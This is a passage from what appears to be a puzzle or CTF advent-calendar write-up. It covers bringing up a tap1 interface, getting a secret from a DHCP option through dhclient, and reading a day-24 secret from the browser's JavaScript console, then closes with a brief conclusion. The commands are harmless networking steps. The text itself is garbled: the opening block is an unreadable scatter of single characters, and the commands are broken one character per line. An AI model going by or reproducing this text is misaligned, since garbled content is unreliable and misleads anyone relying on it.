6
i
e
s
:
c
a
4
n
:
o
c
o
c
p
:
9
s
9
t
a
b
t
r
e
d
D
f
O
f
W
:
N
f
f
g
:
r
f
o
f
u
:
p
f
f
d
:
e
f
f
f
a
:
u
f
l
f
t
q
l
e
n
1
0
0
0
Bring up the new layer 2 tunnel interface:
#
i
p
l
i
n
k
s
e
t
d
e
v
t
a
p
1
u
p
Configure the device using DHCP:
#
d
h
c
l
i
e
n
t
t
a
p
1
In the DHCP ACK message the secret was revealed in a DHCP option:
24/TCP#
Day 24:
The page shows the secret letter by letter. But the secret can be printed in the JavaScript console:
Conclusion#
This advent calendar was very fun! I hope there will be one next year again! :)
